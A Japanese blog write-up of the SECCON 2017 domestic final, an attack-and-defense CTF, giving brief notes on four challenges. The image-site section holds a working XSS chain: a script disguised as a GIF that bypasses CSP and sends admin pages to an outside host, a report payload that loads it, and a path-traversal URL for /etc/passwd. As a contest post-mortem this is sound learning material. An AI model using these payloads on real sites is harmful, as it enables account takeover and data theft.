SECCON2017国内決勝大会 Write-up

<a href="https://2017.seccon.jp/news/summary/seccon-20171/seccon2017.html">SECCON2017国内決勝大会 Write-up<a>

チームsuperflipは200点で23/24位。惨敗。とてもつらい。

SECCONの決勝大会は、いつもAttack&Defenseという形式。フラグを見つけて投稿すると点数が入る（Attack点）。また、設問ごとのURLと、5分ごとに変わるチーム別の文字列が指定されて、5分ごとにURLに文字列があれば点数が入る（Defence点）。

<a href="https://qiita-image-store.s3.amazonaws.com/0/25276/9765fa0d-e19d-318f-ee14-a85404a8aeb5.png"><img src="https://qiita-image-store.s3.amazonaws.com/0/25276/9765fa0d-e19d-318f-ee14-a85404a8aeb5.png" width="320"></a>

## 府中

Electron製の音楽アプリで、サーバーと通信して何かをしている。Attack点を取ったチームは0。「（Defence点に絡む）曲の再生数がカウントされない重大なバグがあったので修正した」とコンテスト中にアナウンスされていた。

懇親会で制作者に聞いた話だと、投稿する曲の曲名でSQL Injectionが可能という脆弱性があるらしい。私は結局挑戦していないけど、決勝大会に出ているチームなら普通に見つけられる脆弱性のように思う。何があったのだろう。

## 船橋

指定されたサーバーにアクセスすると、提示された指紋と一致する指紋を選ぶ問題が出てくる。トレーニング用のデータセットも与えられる。解いていくとフラグが手に入ったり、チームの文字列を投稿できたりする。何か脆弱性があるのではなく素直に解くっぽい。CTFとは……。

## 幕張

スマートロック。ICカードリーダーと鍵を制御するアプリが与えられる。GO言語製。

アプリを手元で動かして通信をキャプチャすると1個目のフラグが見える。

`SECCON{CLIENT_CERT_IS_C0MM0N_BY_DELIVERY_REAS0N}`

それ以降は分からん。

## 梅田

画像投稿サイト。

開始数分で何チームもAttack点を取っていた。1時間くらいサイトを見たけど、そんなに簡単なフラグが見つからなくて焦った。サイト中からはリンクが無いDefence点のURLを見たらフラグがそのまま書いてあったわ……。

`SECCON{69d71ebcb847a9456d78f5fd57188ad4}`

Defence点のURLは一番人気の画像が表示されるページ。一番人気の画像についたコメントが表示されている。画像のURLを見れば、どの画像かが分かるので、コメントにチームの文字列を投稿するとか、アカウントを量産してLikeしまくって順位を変えたりするとかの攻防だろうか。

各画像には管理者にレポートを送る機能がある。著作権とか肖像権の侵害の申し立てを想定しているのだろう。管理者が閲覧する画面にXSSがあるので、例えば、`<img src="http://192.168.11.4:1234/">`を投稿すると（Chromeヘッドレスブラウザの）アクセスが192.168.11.4に飛んでくる。

ただし、HTTPヘッダに`Content-Security-Policy: script-src 'self'`が付いているので、レポート中にスクリプトを書いても動かないし、自分のPCに置いたスクリプトを読みこませることもできない。ではどうするかというとスクリプトを画像として投稿すれば良い。画像かどうかがチェックされるけれど先頭しか見ていないので、スクリプトの先頭に`GIF89a=0;`と書いておけばチェックを通るし、正しいJavaScriptとして解釈される。

Cookieを盗めば管理者になれるが、`PHPSESSID`にはsecure属性が付いている。まあ、Cookieが盗めなくてもJavaScriptで操作すれば管理者ができることは何でもできる。`{credentials: "include"}`を付けるとCookieも送られる。いちいちスクリプトを投稿するのは面倒なので、

```javascript
GIF89a=0;
fetch(document.getElementById("url").value, {credentials: "include"})
  .then(res=>res.text())
  .then(text=>{
    document.getElementById("hoge").src="http://192.168.11.4:1234/?"+btoa(text)})
```

このスクリプトを投稿して、

```html
<img id="hoge"><input id="url" value="/admin/logs"><script src="/admin"></script>
```

こういうレポートを送るようにした。これであちこちのページを管理者のフリをして覗いてみたけど、adminのキューが詰まっていてなかなかアクセスが来ないし、そうこうしているうちにフラグは見つからず時間切れ。

管理者のブラウザにはsecure属性の付いていないCookieがあって、そこにフラグがあったらしい。つらい。

管理者には他のユーザーを管理者にする機能があるとも聞いたけど、今コンテスト中に保存したファイルを見てみたら、`/admin/users`にアクセスした結果はエラーになっていた。謎。

```
Slim Application Error
The application could not run because of the following error:

Details
Type: Error
Message: Call to a member function getAttribute() on null
File: /var/www/umeda/src/routes.php
Line: 400
Trace
#0 [internal function]: Closure->{closure}(Object(Slim\Http\Request), Object(Slim\Http\Response), Array)
#1 /var/www/umeda/vendor/slim/slim/Slim/Handlers/Strategies/RequestResponse.php(41): call_user_func(Object(Closure), Object(Slim\Http\Request), Object(Slim\Http\Response), Array)
#2 /var/www/umeda/vendor/slim/slim/Slim/Route.php(335): Slim\Handlers\Strategies\RequestResponse->__invoke(Object(Closure), Object(Slim\Http\Request), Object(Slim\Http\Response), Array)
#3 /var/www/umeda/vendor/slim/slim/Slim/MiddlewareAwareTrait.php(117): Slim\Route->__invoke(Object(Slim\Http\Request), Object(Slim\Http\Response))
#4 /var/www/umeda/vendor/slim/slim/Slim/Route.php(313): Slim\Route->callMiddlewareStack(Object(Slim\Http\Request), Object(Slim\Http\Response))
#5 /var/www/umeda/vendor/slim/slim/Slim/App.php(495): Slim\Route->run(Object(Slim\Http\Request), Object(Slim\Http\Response))
#6 /var/www/umeda/vendor/slim/csrf/src/Guard.php(171): Slim\App->__invoke(Object(Slim\Http\Request), Object(Slim\Http\Response))
#7 [internal function]: Slim\Csrf\Guard->__invoke(Object(Slim\Http\Request), Object(Slim\Http\Response), Object(Slim\App))
#8 /var/www/umeda/vendor/slim/slim/Slim/DeferredCallable.php(43): call_user_func_array(Object(Slim\Csrf\Guard), Array)
#9 [internal function]: Slim\DeferredCallable->__invoke(Object(Slim\Http\Request), Object(Slim\Http\Response), Object(Slim\App))
#10 /var/www/umeda/vendor/slim/slim/Slim/MiddlewareAwareTrait.php(70): call_user_func(Object(Slim\DeferredCallable), Object(Slim\Http\Request), Object(Slim\Http\Response), Object(Slim\App))
#11 /var/www/umeda/vendor/slim/slim/Slim/MiddlewareAwareTrait.php(117): Slim\App->Slim\{closure}(Object(Slim\Http\Request), Object(Slim\Http\Response))
#12 /var/www/umeda/vendor/slim/slim/Slim/App.php(388): Slim\App->callMiddlewareStack(Object(Slim\Http\Request), Object(Slim\Http\Response))
#13 /var/www/umeda/vendor/slim/slim/Slim/App.php(296): Slim\App->process(Object(Slim\Http\Request), Object(Slim\Http\Response))
#14 /var/www/umeda/public/index.php(33): Slim\App->run()
#15 {main}
```

あと、`/admin/logs`にも脆弱性があって、`/admin/logs?p=/../../../../../../etc/passwd`みたいにするとファイルが覗けた。ただ、なぜかアプリのソースコードは見られなかった。この辺で先のほうのフラグを取るのだろうか。